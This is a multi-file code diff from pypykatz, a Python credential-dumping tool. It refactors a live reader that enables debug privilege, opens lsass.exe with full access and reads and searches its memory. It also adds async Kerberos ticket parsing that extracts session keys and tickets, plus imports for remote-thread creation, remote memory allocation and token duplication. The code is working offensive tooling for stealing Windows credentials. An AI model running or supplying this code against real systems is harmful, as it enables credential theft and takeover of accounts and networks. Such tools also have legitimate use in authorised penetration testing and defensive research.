359 | WIN_10_2004 = 19041 | |
360 | WIN_10_20H2 = 19042 | |
361 | WIN_11_2022 = 20348 | |
362 | 362 | |
363 | 363 | class WindowsMinBuild(enum.Enum): |
364 | 364 | WIN_XP = 2500 |
368 | 368 | WIN_8 = 8000 |
369 | 369 | WIN_BLUE = 9400 |
370 | 370 | WIN_10 = 9800 |
371 | WIN_11 = 22000 | |
371 | 372 | |
372 | 373 | |
373 | 374 | def hexdump( src, length=16, sep='.', start = 0): |
380 | 381 | @note Full support for python2 and python3 ! |
381 | 382 | ''' |
382 | 383 | result = [] |
384 | if src is None: | |
385 | return '' | |
383 | 386 | |
384 | 387 | # Python3 support |
385 | 388 | try: |
157 | 157 | kt.TicketEncType = kerberos_ticket.TicketEncType |
158 | 158 | kt.TicketKvno = kerberos_ticket.TicketKvno |
159 | 159 | kt.Ticket = kerberos_ticket.Ticket.read(reader) |
160 | ||
161 | kirbi = kt.to_asn1() | |
162 | kt.kirbi_data[kt.generate_filename()] = kirbi | |
163 | ||
164 | return kt | |
165 | ||
166 | @staticmethod | |
167 | async def aparse(kerberos_ticket, reader, sysinfo, type = None): | |
168 | kt = KerberosTicket() | |
169 | kt.type = type | |
170 | x = await kerberos_ticket.ServiceName.read(reader) | |
171 | kt.ServiceName_type = x.NameType | |
172 | x = await kerberos_ticket.ServiceName.read(reader) | |
173 | kt.ServiceName = await x.read(reader) | |
174 | kt.DomainName = await kerberos_ticket.DomainName.read_string(reader) | |
175 | x = await kerberos_ticket.TargetName.read(reader) | |
176 | if x: | |
177 | y = await kerberos_ticket.TargetName.read(reader) | |
178 | kt.ETargetName = await y.read(reader) | |
179 | y = await kerberos_ticket.TargetName.read(reader) | |
180 | kt.ETargetName_type = y.NameType | |
181 | kt.TargetDomainName = await kerberos_ticket.TargetDomainName.read_string(reader) | |
182 | x = await kerberos_ticket.ClientName.read(reader) | |
183 | kt.EClientName = await x.read(reader) | |
184 | x = await kerberos_ticket.ClientName.read(reader) | |
185 | kt.EClientName_type = x.NameType | |
186 | kt.AltTargetDomainName = await kerberos_ticket.AltTargetDomainName.read_string(reader) | |
187 | kt.Description = await kerberos_ticket.Description.read_string(reader) | |
188 | ||
189 | kt.StartTime = filetime_to_dt(kerberos_ticket.StartTime) | |
190 | kt.EndTime = filetime_to_dt(kerberos_ticket.EndTime) | |
191 | if kerberos_ticket.RenewUntil == 0: | |
192 | kt.RenewUntil = datetime.datetime(1970, 1, 1, 0, 0, tzinfo=datetime.timezone.utc) | |
193 | else: | |
194 | kt.RenewUntil = filetime_to_dt(kerberos_ticket.RenewUntil) | |
195 | ||
196 | kt.KeyType = kerberos_ticket.KeyType | |
197 | kt.Key = await kerberos_ticket.Key.read(reader) | |
198 | kt.session_key = KerberosSessionKey.parse(kerberos_ticket.Key, sysinfo) | |
199 | ||
200 | kt.TicketFlags = kerberos_ticket.TicketFlags | |
201 | kt.TicketEncType = kerberos_ticket.TicketEncType | |
202 | kt.TicketKvno = kerberos_ticket.TicketKvno | |
203 | kt.Ticket = await kerberos_ticket.Ticket.read(reader) | |
160 | 204 | |
161 | 205 | kirbi = kt.to_asn1() |
162 | 206 | kt.kirbi_data[kt.generate_filename()] = kirbi |
29 | 29 | |
30 | 30 | |
31 | 31 | from .defines import * |
32 | ||
33 | STILL_ACTIVE = 259 | |
34 | ||
35 | WAIT_TIMEOUT = 0x102 | |
36 | WAIT_FAILED = -1 | |
37 | WAIT_OBJECT_0 = 0 | |
38 | ||
32 | 39 | |
33 | 40 | PAGE_NOACCESS = 0x01 |
34 | 41 | PAGE_READONLY = 0x02 |
668 | 675 | _fields_ = (('Level', UCHAR), |
669 | 676 | ('obj', UNION_PS_PROTECTION), |
670 | 677 | ) |
678 | ||
679 | ||
680 | # BOOL WINAPI GetExitCodeThread( | |
681 | # __in HANDLE hThread, | |
682 | # __out LPDWORD lpExitCode | |
683 | # ); | |
684 | def GetExitCodeThread(hThread): | |
685 | _GetExitCodeThread = windll.kernel32.GetExitCodeThread | |
686 | _GetExitCodeThread.argtypes = [HANDLE, PDWORD] | |
687 | _GetExitCodeThread.restype = bool | |
688 | _GetExitCodeThread.errcheck = RaiseIfZero | |
689 | ||
690 | lpExitCode = DWORD(0) | |
691 | _GetExitCodeThread(hThread, byref(lpExitCode)) | |
692 | return lpExitCode.value | |
693 | ||
694 | # DWORD WINAPI WaitForSingleObject( | |
695 | # HANDLE hHandle, | |
696 | # DWORD dwMilliseconds | |
697 | # ); | |
698 | def WaitForSingleObject(hHandle, dwMilliseconds = INFINITE): | |
699 | _WaitForSingleObject = windll.kernel32.WaitForSingleObject | |
700 | _WaitForSingleObject.argtypes = [HANDLE, DWORD] | |
701 | _WaitForSingleObject.restype = DWORD | |
702 | ||
703 | if not dwMilliseconds and dwMilliseconds != 0: | |
704 | dwMilliseconds = INFINITE | |
705 | if dwMilliseconds != INFINITE: | |
706 | r = _WaitForSingleObject(hHandle, dwMilliseconds) | |
707 | if r == WAIT_FAILED: | |
708 | raise ctypes.WinError() | |
709 | else: | |
710 | while 1: | |
711 | r = _WaitForSingleObject(hHandle, 100) | |
712 | if r == WAIT_FAILED: | |
713 | raise ctypes.WinError() | |
714 | if r != WAIT_TIMEOUT: | |
715 | break | |
716 | return r⏎ |
0 | import os | |
1 | import sys | |
2 | 0 | import ctypes |
3 | 1 | import enum |
4 | import logging | |
5 | 2 | |
6 | 3 | from pypykatz.commons.readers.local.common.kernel32 import * |
7 | 4 | from pypykatz.commons.readers.local.common.psapi import * |
5 | from pypykatz.commons.readers.local.common.version import * | |
8 | 6 | |
9 | 7 | class WindowsMinBuild(enum.Enum): |
10 | 8 | WIN_XP = 2500 |
17 | 15 | |
18 | 16 | |
19 | 17 | #utter microsoft bullshit commencing.. |
20 | def getWindowsBuild(): | |
21 | class OSVersionInfo(ctypes.Structure): | |
22 | _fields_ = [ | |
23 | ("dwOSVersionInfoSize" , ctypes.c_int), | |
24 | ("dwMajorVersion" , ctypes.c_int), | |
25 | ("dwMinorVersion" , ctypes.c_int), | |
26 | ("dwBuildNumber" , ctypes.c_int), | |
27 | ("dwPlatformId" , ctypes.c_int), | |
28 | ("szCSDVersion" , ctypes.c_char*128)]; | |
29 | GetVersionEx = getattr( ctypes.windll.kernel32 , "GetVersionExA") | |
30 | version = OSVersionInfo() | |
31 | version.dwOSVersionInfoSize = ctypes.sizeof(OSVersionInfo) | |
32 | GetVersionEx( ctypes.byref(version) ) | |
33 | return version.dwBuildNumber | |
18 | def getWindowsBuild(): | |
19 | ||
20 | version = GetVersionExA() | |
21 | return version.dwBuildNumber | |
22 | ||
23 | #class OSVersionInfo(ctypes.Structure): | |
24 | # _fields_ = [ | |
25 | # ("dwOSVersionInfoSize" , ctypes.c_int), | |
26 | # ("dwMajorVersion" , ctypes.c_int), | |
27 | # ("dwMinorVersion" , ctypes.c_int), | |
28 | # ("dwBuildNumber" , ctypes.c_int), | |
29 | # ("dwPlatformId" , ctypes.c_int), | |
30 | # ("szCSDVersion" , ctypes.c_char*128)]; | |
31 | #GetVersionEx = getattr( ctypes.windll.kernel32 , "GetVersionExA") | |
32 | #version = OSVersionInfo() | |
33 | #version.dwOSVersionInfoSize = ctypes.sizeof(OSVersionInfo) | |
34 | #GetVersionEx( ctypes.byref(version) ) | |
35 | #return version.dwBuildNumber | |
34 | 36 | |
35 | 37 | DELETE = 0x00010000 |
36 | 38 | READ_CONTROL = 0x00020000 |
49 | 51 | |
50 | 52 | |
51 | 53 | def QueryDosDevice(drive_letter): |
52 | buffer_length = 1024 | |
53 | buf = ctypes.create_unicode_buffer(buffer_length) | |
54 | status = windll.kernel32.QueryDosDeviceW(drive_letter, buf, buffer_length) | |
55 | if status == 0: | |
56 | raise ctypes.WinError() | |
57 | return buf.value | |
54 | buffer_length = 1024 | |
55 | buf = ctypes.create_unicode_buffer(buffer_length) | |
56 | status = windll.kernel32.QueryDosDeviceW(drive_letter, buf, buffer_length) | |
57 | if status == 0: | |
58 | raise ctypes.WinError() | |
59 | return buf.value | |
58 | 60 | |
59 | 61 | |
60 | 62 | def get_drives(): |
61 | drives = [] | |
62 | bitmask = windll.kernel32.GetLogicalDrives() | |
63 | for letter in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ': | |
64 | if bitmask & 1: | |
65 | drives.append(letter + ':') | |
66 | bitmask >>= 1 | |
67 | return drives | |
63 | drives = [] | |
64 | bitmask = windll.kernel32.GetLogicalDrives() | |
65 | for letter in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ': | |
66 | if bitmask & 1: | |
67 | drives.append(letter + ':') | |
68 | bitmask >>= 1 | |
69 | return drives | |
68 | 70 | |
69 | 71 | def get_device_prefixes(): |
70 | device_prefixes = {} | |
71 | drives = get_drives() | |
72 | for drive in drives: | |
73 | device_prefixes[QueryDosDevice(drive)] = drive | |
74 | return device_prefixes | |
72 | device_prefixes = {} | |
73 | drives = get_drives() | |
74 | for drive in drives: | |
75 | device_prefixes[QueryDosDevice(drive)] = drive | |
76 | return device_prefixes | |
75 | 77 | |
76 | 78 | DEVICE_PREFIXES = get_device_prefixes() |
77 | 79 | |
86 | 88 | # Get full normalized image path of a process using NtQuerySystemInformation |
87 | 89 | # It doesn't need any special privileges |
88 | 90 | def get_process_full_imagename(pid): |
89 | _NtQuerySystemInformation = windll.ntdll.NtQuerySystemInformation | |
90 | image_filename = '' | |
91 | buf = ctypes.create_unicode_buffer(0x1000) | |
92 | process_info = SYSTEM_PROCESS_ID_INFORMATION() | |
93 | process_info.ProcessId = ctypes.c_void_p(pid) | |
94 | process_info.ImageName.MaximumLength = len(buf) | |
95 | process_info.ImageName.Buffer = addressof(buf) | |
96 | status = _NtQuerySystemInformation( | |
97 | SystemProcessIdInformation, | |
98 | process_info, | |
99 | sizeof(process_info), | |
100 | None) | |
101 | if status == STATUS_INFO_LENGTH_MISMATCH: | |
102 | buf = ctypes.create_unicode_buffer(MAX_PATH_UNICODE) | |
103 | process_info.ImageName.MaximumLength = len(buf) | |
104 | process_info.ImageName.Buffer = addressof(buf) | |
105 | status = _NtQuerySystemInformation( | |
106 | SystemProcessIdInformation, | |
107 | process_info, | |
108 | sizeof(process_info), | |
109 | None) | |
110 | if status == 0: | |
111 | image_filename = str(process_info.ImageName.Buffer) | |
112 | if image_filename.startswith('\\Device\\'): | |
113 | for win_path in DEVICE_PREFIXES: | |
114 | if image_filename.startswith(win_path): | |
115 | image_filename = DEVICE_PREFIXES[win_path] + image_filename[len(win_path):] | |
116 | else: | |
117 | image_filename = 'N/A' | |
118 | return image_filename | |
91 | _NtQuerySystemInformation = windll.ntdll.NtQuerySystemInformation | |
92 | image_filename = '' | |
93 | buf = ctypes.create_unicode_buffer(0x1000) | |
94 | process_info = SYSTEM_PROCESS_ID_INFORMATION() | |
95 | process_info.ProcessId = ctypes.c_void_p(pid) | |
96 | process_info.ImageName.MaximumLength = len(buf) | |
97 | process_info.ImageName.Buffer = addressof(buf) | |
98 | status = _NtQuerySystemInformation( | |
99 | SystemProcessIdInformation, | |
100 | process_info, | |
101 | sizeof(process_info), | |
102 | None) | |
103 | if status == STATUS_INFO_LENGTH_MISMATCH: | |
104 | buf = ctypes.create_unicode_buffer(MAX_PATH_UNICODE) | |
105 | process_info.ImageName.MaximumLength = len(buf) | |
106 | process_info.ImageName.Buffer = addressof(buf) | |
107 | status = _NtQuerySystemInformation( | |
108 | SystemProcessIdInformation, | |
109 | process_info, | |
110 | sizeof(process_info), | |
111 | None) | |
112 | if status == 0: | |
113 | image_filename = str(process_info.ImageName.Buffer) | |
114 | if image_filename.startswith('\\Device\\'): | |
115 | for win_path in DEVICE_PREFIXES: | |
116 | if image_filename.startswith(win_path): | |
117 | image_filename = DEVICE_PREFIXES[win_path] + image_filename[len(win_path):] | |
118 | else: | |
119 | image_filename = 'N/A' | |
120 | return image_filename | |
119 | 121 | |
120 | 122 | PS_PROTECTED_TYPE_STRINGS = [None,"Light","Full"] |
121 | PS_PROTECTED_SIGNER_STRINGS = [None, "Authenticode", "CodeGen", "Antimalware", "Lsa", | |
122 | "Windows", "WinTcb", "WinSystem", "StoreApp"] | |
123 | PS_PROTECTED_SIGNER_STRINGS = [ | |
124 | None, "Authenticode", "CodeGen", "Antimalware", "Lsa", | |
125 | "Windows", "WinTcb", "WinSystem", "StoreApp"] | |
123 | 126 | PS_PROTECTED_TYPE_OLD_OS_STRINGS = [None,"System protected process"] |
124 | 127 | |
125 | 128 | #https://msdn.microsoft.com/en-us/library/windows/desktop/ms683217(v=vs.85).aspx |
149 | 152 | return pid_to_name |
150 | 153 | |
151 | 154 | def get_process_extended_basic_information(pid,process_handle=None): |
152 | process_basic_info = PROCESS_EXTENDED_BASIC_INFORMATION() | |
153 | process_basic_info.Size = sizeof(PROCESS_EXTENDED_BASIC_INFORMATION) | |
154 | _NtQueryInformationProcess = windll.ntdll.NtQueryInformationProcess | |
155 | if process_handle == None: | |
156 | process_handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pid) | |
157 | ||
158 | status = _NtQueryInformationProcess(process_handle, | |
159 | ProcessBasicInformation, | |
160 | byref(process_basic_info), | |
161 | process_basic_info.Size, | |
162 | None) | |
163 | if status < 0: | |
164 | raise ctypes.WinError() | |
165 | CloseHandle(process_handle) | |
166 | return process_basic_info | |
155 | process_basic_info = PROCESS_EXTENDED_BASIC_INFORMATION() | |
156 | process_basic_info.Size = sizeof(PROCESS_EXTENDED_BASIC_INFORMATION) | |
157 | _NtQueryInformationProcess = windll.ntdll.NtQueryInformationProcess | |
158 | if process_handle == None: | |
159 | process_handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pid) | |
160 | ||
161 | status = _NtQueryInformationProcess(process_handle, | |
162 | ProcessBasicInformation, | |
163 | byref(process_basic_info), | |
164 | process_basic_info.Size, | |
165 | None) | |
166 | if status < 0: | |
167 | raise ctypes.WinError() | |
168 | CloseHandle(process_handle) | |
169 | return process_basic_info | |
167 | 170 | |
168 | 171 | |
169 | 172 | def get_protected_process_infos(pid,process_handle=None): |
170 | process_protection_infos = None | |
171 | _NtQueryInformationProcess = windll.ntdll.NtQueryInformationProcess | |
172 | if process_handle == None: | |
173 | process_handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pid) | |
174 | if WINDOWS_BUILD_NUMBER >= WindowsMinBuild.WIN_8.value: | |
175 | protection_info = PS_PROTECTION() | |
176 | status = _NtQueryInformationProcess(process_handle, | |
177 | ProcessProtectionInformation, | |
178 | byref(protection_info), | |
179 | sizeof(protection_info), | |
180 | None) | |
181 | if status < 0: | |
182 | raise ctypes.WinError() | |
183 | if protection_info.Type > 0: | |
184 | process_protection_infos = {"level": protection_info.Level, | |
185 | "type": PS_PROTECTED_TYPE_STRINGS[protection_info.Type], | |
186 | "signer": PS_PROTECTED_SIGNER_STRINGS[protection_info.Signer], | |
187 | "audit": protection_info.Audit} | |
188 | else: | |
189 | _ps_extended_basic_information = get_process_extended_basic_information(pid,process_handle) | |
190 | if _ps_extended_basic_information.IsProtectedProcess: | |
191 | process_protection_infos = {"type": 'System protected process'} | |
192 | CloseHandle(process_handle) | |
193 | return process_protection_infos | |
173 | process_protection_infos = None | |
174 | _NtQueryInformationProcess = windll.ntdll.NtQueryInformationProcess | |
175 | if process_handle == None: | |
176 | process_handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pid) | |
177 | if WINDOWS_BUILD_NUMBER >= WindowsMinBuild.WIN_8.value: | |
178 | protection_info = PS_PROTECTION() | |
179 | status = _NtQueryInformationProcess(process_handle, | |
180 | ProcessProtectionInformation, | |
181 | byref(protection_info), | |
182 | sizeof(protection_info), | |
183 | None) | |
184 | if status < 0: | |
185 | raise ctypes.WinError() | |
186 | if protection_info.Type > 0: | |
187 | process_protection_infos = {"level": protection_info.Level, | |
188 | "type": PS_PROTECTED_TYPE_STRINGS[protection_info.Type], | |
189 | "signer": PS_PROTECTED_SIGNER_STRINGS[protection_info.Signer], | |
190 | "audit": protection_info.Audit} | |
191 | else: | |
192 | _ps_extended_basic_information = get_process_extended_basic_information(pid,process_handle) | |
193 | if _ps_extended_basic_information.IsProtectedProcess: | |
194 | process_protection_infos = {"type": 'System protected process'} | |
195 | CloseHandle(process_handle) | |
196 | return process_protection_infos | |
194 | 197 | |
195 | 198 | def get_lsass_pid(): |
199 | return pid_for_name('lsass.exe') | |
200 | ||
201 | def pid_for_name(process_name): | |
196 | 202 | pid_to_name = enum_process_names() |
197 | 203 | for pid in pid_to_name: |
198 | if pid_to_name[pid].lower().endswith('lsass.exe'): | |
204 | if pid_to_name[pid].lower().endswith(process_name): | |
199 | 205 | return pid |
200 | 206 | |
201 | raise Exception('Failed to find lsass.exe') | |
207 | raise Exception('Failed to find %s' % process_name) |
11 | 11 | from .common.fileinfo import * |
12 | 12 | from minidump.streams.SystemInfoStream import PROCESSOR_ARCHITECTURE |
13 | 13 | |
14 | import logging | |
14 | from pypykatz import logger | |
15 | 15 | import sys |
16 | 16 | import copy |
17 | 17 | import platform |
33 | 33 | |
34 | 34 | def inrange(self, addr): |
35 | 35 | return self.baseaddress <= addr < self.endaddress |
36 | ||
36 | ||
37 | @staticmethod | |
37 | 38 | def parse(name, module_info, timestamp): |
38 | 39 | m = Module() |
39 | 40 | m.name = name |
57 | 58 | self.EndAddress = None |
58 | 59 | |
59 | 60 | self.data = None |
60 | ||
61 | ||
62 | @staticmethod | |
61 | 63 | def parse(page_info): |
62 | 64 | p = Page() |
63 | 65 | p.BaseAddress = page_info.BaseAddress |
67 | 69 | p.EndAddress = page_info.BaseAddress + page_info.RegionSize |
68 | 70 | return p |
69 | 71 | |
70 | def read_data(self, lsass_process_handle): | |
71 | self.data = ReadProcessMemory(lsass_process_handle, self.BaseAddress, self.RegionSize) | |
72 | def read_data(self, process_handle): | |
73 | self.data = ReadProcessMemory(process_handle, self.BaseAddress, self.RegionSize) | |
72 | 74 | |
73 | 75 | def inrange(self, addr): |
74 | 76 | return self.BaseAddress <= addr < self.EndAddress |
75 | 77 | |
76 | def search(self, pattern, lsass_process_handle): | |
78 | def search(self, pattern, process_handle): | |
77 | 79 | if len(pattern) > self.RegionSize: |
78 | 80 | return [] |
79 | data = ReadProcessMemory(lsass_process_handle, self.BaseAddress, self.RegionSize) | |
81 | data = ReadProcessMemory(process_handle, self.BaseAddress, self.RegionSize) | |
80 | 82 | fl = [] |
81 | 83 | offset = 0 |
82 | 84 | while len(data) > len(pattern): |
85 | 87 | return fl |
86 | 88 | fl.append(marker + offset + self.BaseAddress) |
87 | 89 | data = data[marker+1:] |
88 | offset = marker + 1 | |
90 | offset += marker + 1 | |
89 | 91 | |
90 | 92 | return fl |
91 | 93 | |
115 | 117 | # not in cache, check if it's present in memory space. if yes then create a new buffered memeory object, and copy data |
116 | 118 | for page in self.reader.pages: |
117 | 119 | if page.inrange(requested_position): |
118 | page.read_data(self.reader.lsass_process_handle) | |
120 | page.read_data(self.reader.process_handle) | |
119 | 121 | newsegment = copy.deepcopy(page) |
120 | 122 | self.pages.append(newsegment) |
121 | 123 | self.current_segment = newsegment |
123 | 125 | return |
124 | 126 | |
125 | 127 | raise Exception('Memory address 0x%08x is not in process memory space' % requested_position) |
126 | ||
128 | ||
129 | def get_reader(self): | |
130 | return self.reader | |
131 | ||
127 | 132 | def seek(self, offset, whence = 0): |
128 | 133 | """ |
129 | 134 | Changes the current address to an offset of offset. The whence parameter controls from which position should we count the offsets. |
264 | 269 | |
265 | 270 | return pos_s[0] |
266 | 271 | |
267 | def find_all_global(self, pattern): | |
272 | def find_all_global(self, pattern, allocationprotect = 0x04): | |
268 | 273 | """ |
269 | 274 | Searches for the pattern in the whole process memory space and returns a list of addresses where the pattern begins. |
270 | 275 | This is exhaustive! |
271 | 276 | """ |
272 | return self.reader.search(pattern) | |
277 | return self.reader.search(pattern, allocationprotect = allocationprotect) | |
273 | 278 | |
274 | 279 | def get_ptr(self, pos): |
275 | 280 | self.move(pos) |
288 | 293 | |
289 | 294 | def find_in_module(self, module_name, pattern, find_first = False, reverse_order = False): |
290 | 295 | t = self.reader.search_module(module_name, pattern, find_first = find_first, reverse_order = reverse_order) |
291 | return t | |
296 | return t | |
292 | 297 | |
293 | 298 | |
294 | 299 | class LiveReader: |
295 | def __init__(self, lsass_process_handle = None): | |
300 | def __init__(self, process_handle = None, process_name='lsass.exe', process_pid = None): | |
296 | 301 | self.processor_architecture = None |
297 | self.lsass_process_name = 'lsass.exe' | |
298 | self.lsass_process_handle = lsass_process_handle | |
302 | self.process_name = process_name | |
303 | self.process_handle = process_handle | |
304 | self.process_pid = process_pid | |
299 | 305 | self.current_position = None |
300 | 306 | self.BuildNumber = None |
301 | 307 | self.modules = [] |
321 | 327 | if is_windows_64 != is_python_64: |
322 | 328 | raise Exception('Python interpreter must be the same architecure of the OS you are running it on.') |
323 | 329 | |
324 | ||
325 | ||
326 | ||
327 | ||
328 | 330 | def setup(self): |
329 | logging.log(1, 'Enabling debug privilege') | |
331 | logger.log(1, 'Enabling debug privilege') | |
330 | 332 | enable_debug_privilege() |
331 | logging.log(1, 'Getting generic system info') | |
333 | logger.log(1, 'Getting generic system info') | |
332 | 334 | sysinfo = GetSystemInfo() |
333 | 335 | self.processor_architecture = PROCESSOR_ARCHITECTURE(sysinfo.id.w.wProcessorArchitecture) |
334 | 336 | |
335 | logging.log(1, 'Getting build number') | |
337 | logger.log(1, 'Getting build number') | |
336 | 338 | #self.BuildNumber = GetVersionEx().dwBuildNumber #this one doesnt work reliably on frozen binaries :((( |
337 | 339 | key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\') |
338 | 340 | buildnumber, t = winreg.QueryValueEx(key, 'CurrentBuildNumber') |
339 | 341 | self.BuildNumber = int(buildnumber) |
340 | 342 | |
341 | if self.lsass_process_handle is None: | |
342 | logging.log(1, 'Searching for lsass.exe') | |
343 | pid = get_lsass_pid() | |
344 | logging.log(1, 'Lsass.exe found at PID %d' % pid) | |
345 | logging.log(1, 'Checking Lsass.exe protection status') | |
346 | #proc_protection_info = get_protected_process_infos(pid) | |
347 | #protection_msg = "Protection Status: No protection" | |
348 | #if proc_protection_info: | |
349 | # protection_msg = f"Protection Status: {proc_protection_info['type']}" | |
350 | # if 'signer' in proc_protection_info: | |
351 | # protection_msg += f" ({proc_protection_info['signer']})" | |
352 | # raise Exception('Failed to open lsass.exe Reason: %s' % protection_msg) | |
353 | #logging.log(1, protection_msg) | |
354 | logging.log(1, 'Opening lsass.exe') | |
355 | self.lsass_process_handle = OpenProcess(PROCESS_ALL_ACCESS, False, pid) | |
356 | if self.lsass_process_handle is None: | |
343 | if self.process_handle is None: | |
344 | if self.process_pid is None: | |
345 | if self.process_name is None: | |
346 | raise Exception('Process name or PID or opened handle must be provided') | |
347 | ||
348 | logger.log(1, 'Searching for lsass.exe') | |
349 | self.process_pid = pid_for_name(self.process_name) | |
350 | logger.log(1, '%s found at PID %d' % (self.process_name, self.process_pid)) | |
351 | logger.log(1, 'Checking Lsass.exe protection status') | |
352 | #proc_protection_info = get_protected_process_infos(pid) | |
353 | #protection_msg = "Protection Status: No protection" | |
354 | #if proc_protection_info: | |
355 | # protection_msg = f"Protection Status: {proc_protection_info['type']}" | |
356 | # if 'signer' in proc_protection_info: | |
357 | # protection_msg += f" ({proc_protection_info['signer']})" | |
358 | # raise Exception('Failed to open lsass.exe Reason: %s' % protection_msg) | |
359 | #logger.log(1, protection_msg) | |
360 | logger.log(1, 'Opening %s' % self.process_name) | |
361 | self.process_handle = OpenProcess(PROCESS_ALL_ACCESS, False, self.process_pid) | |
362 | if self.process_handle is None: | |
357 | 363 | raise Exception('Failed to open lsass.exe Reason: %s' % ctypes.WinError()) |
358 | 364 | else: |
359 | logging.debug('Using pre-defined handle') | |
360 | logging.log(1, 'Enumerating modules') | |
361 | module_handles = EnumProcessModules(self.lsass_process_handle) | |
365 | logger.debug('Using pre-defined handle') | |
366 | logger.log(1, 'Enumerating modules') | |
367 | module_handles = EnumProcessModules(self.process_handle) | |
362 | 368 | for module_handle in module_handles: |
363 | 369 | |
364 | module_file_path = GetModuleFileNameExW(self.lsass_process_handle, module_handle) | |
365 | logging.log(1, module_file_path) | |
370 | module_file_path = GetModuleFileNameExW(self.process_handle, module_handle) | |
371 | logger.log(1, module_file_path) | |
366 | 372 | timestamp = 0 |
367 | 373 | if ntpath.basename(module_file_path).lower() == 'msv1_0.dll': |
368 | 374 | timestamp = int(os.stat(module_file_path).st_ctime) |
369 | 375 | self.msv_dll_timestamp = timestamp |
370 | modinfo = GetModuleInformation(self.lsass_process_handle, module_handle) | |
376 | modinfo = GetModuleInformation(self.process_handle, module_handle) | |
371 | 377 | self.modules.append(Module.parse(module_file_path, modinfo, timestamp)) |
372 | 378 | |
373 | logging.log(1, 'Found %d modules' % len(self.modules)) | |
379 | logger.log(1, 'Found %d modules' % len(self.modules)) | |
374 | 380 | |
375 | 381 | current_address = sysinfo.lpMinimumApplicationAddress |
376 | 382 | while current_address < sysinfo.lpMaximumApplicationAddress: |
377 | page_info = VirtualQueryEx(self.lsass_process_handle, current_address) | |
383 | page_info = VirtualQueryEx(self.process_handle, current_address) | |
378 | 384 | self.pages.append(Page.parse(page_info)) |
379 | 385 | |
380 | 386 | current_address += page_info.RegionSize |
381 | 387 | |
382 | logging.log(1, 'Found %d pages' % len(self.pages)) | |
388 | logger.log(1, 'Found %d pages' % len(self.pages)) | |
383 | 389 | |
384 | 390 | |
385 | 391 | for page in self.pages: |
386 | #self.log(str(page)) | |
387 | ||
388 | 392 | for mod in self.modules: |
389 | 393 | if mod.inrange(page.BaseAddress) == True: |
390 | 394 | mod.pages.append(page) |
391 | ||
392 | #for mod in self.modules: | |
393 | # self.log('%s %d' % (mod.name, len(mod.pages))) | |
394 | ||
395 | ||
396 | def get_handler(self): | |
397 | return self.process_handle | |
398 | ||
399 | def get_memory(self, allocationprotect = 0x04): | |
400 | t = [] | |
401 | for page in self.pages: | |
402 | if page.AllocationProtect & allocationprotect: | |
403 | t.append(page) | |
404 | return t | |
405 | ||
395 | 406 | def get_buffered_reader(self): |
396 | 407 | return BufferedLiveReader(self) |
397 | 408 | |
407 | 418 | raise Exception('Could not find module! %s' % module_name) |
408 | 419 | needles = [] |
409 | 420 | for page in mod.pages: |
410 | needles += page.search(pattern, self.lsass_process_handle) | |
421 | needles += page.search(pattern, self.process_handle) | |
411 | 422 | if len(needles) > 0 and find_first is True: |
412 | 423 | return needles |
413 | 424 | |
414 | 425 | return needles |
426 | ||
427 | def search(self, pattern, allocationprotect = 0x04): | |
428 | t = [] | |
429 | for page in self.pages: | |
430 | if page.AllocationProtect & allocationprotect: | |
431 | t += page.search(pattern, self.process_handle) | |
432 | return t | |
415 | 433 | |
416 | 434 | if __name__ == '__main__': |
417 | logging.basicConfig(level=1) | |
435 | logger.basicConfig(level=1) | |
418 | 436 | lr = LiveReader() |
419 | 437 | blr = lr.get_buffered_reader() |
420 | 438 |
0 | from .common.version import * | |
1 | from .common.live_reader_ctypes import * | |
2 | from pypykatz.commons.winapi.local.function_defs.kernel32 import LoadLibraryW, GetProcAddressW, VirtualProtectEx, VirtualAllocEx, VirtualFreeEx, CreateRemoteThread | |
3 | from pypykatz.commons.winapi.local.function_defs.advapi32 import OpenProcessToken, DuplicateTokenEx | |
4 | from pypykatz import logger | |
5 | from minidump.streams.SystemInfoStream import PROCESSOR_ARCHITECTURE | |
6 | import ntpath | |
7 | import os | |
8 | import math | |
9 | ||
10 | PROCESS_QUERY_LIMITED_INFORMATION = 0x1000 | |
11 | ||
12 | # Token access rights | |
13 | TOKEN_ASSIGN_PRIMARY = 0x0001 | |
14 | TOKEN_DUPLICATE = 0x0002 | |
15 | TOKEN_IMPERSONATE = 0x0004 | |
16 | TOKEN_QUERY = 0x0008 | |
17 | TOKEN_QUERY_SOURCE = 0x0010 | |
18 | TOKEN_ADJUST_PRIVILEGES = 0x0020 | |
19 | TOKEN_ADJUST_GROUPS = 0x0040 | |
20 | TOKEN_ADJUST_DEFAULT = 0x0080 | |
21 | TOKEN_ADJUST_SESSIONID = 0x0100 | |
22 | TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY) | |
23 | TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | | |
24 | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | | |
25 | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | | |
26 | TOKEN_ADJUST_SESSIONID) | |
27 | ||
28 | SecurityAnonymous = 0 | |
29 | SecurityIdentification = 1 | |
30 | SecurityImpersonation = 2 | |
31 | SecurityDelegation = 3 | |
32 | ||
33 | TokenPrimary = 1 | |
34 | TokenImpersonation = 2 | |
35 | ||
36 | #dont ask me... | |
37 | #TOKEN_MANIP_ACCESS = (TOKEN_QUERY | TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_QUERY_SOURCE | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | (131072 | 4)) | |
38 | ||
39 | class Module: | |
40 | def __init__(self): | |
41 | self.name = None | |
42 | self.baseaddress = None | |
43 | self.size = None | |
44 | self.endaddress = None | |
45 | self.pages = [] | |
46 | ||
47 | self.versioninfo = None | |
48 | self.checksum = None | |
49 | self.timestamp = None | |
50 | ||
51 | def inrange(self, addr): | |
52 | return self.baseaddress <= addr < self.endaddress | |
53 | ||
54 | @staticmethod | |
55 | def parse(name, module_info, timestamp): | |
56 | m = Module() | |
57 | m.name = name | |
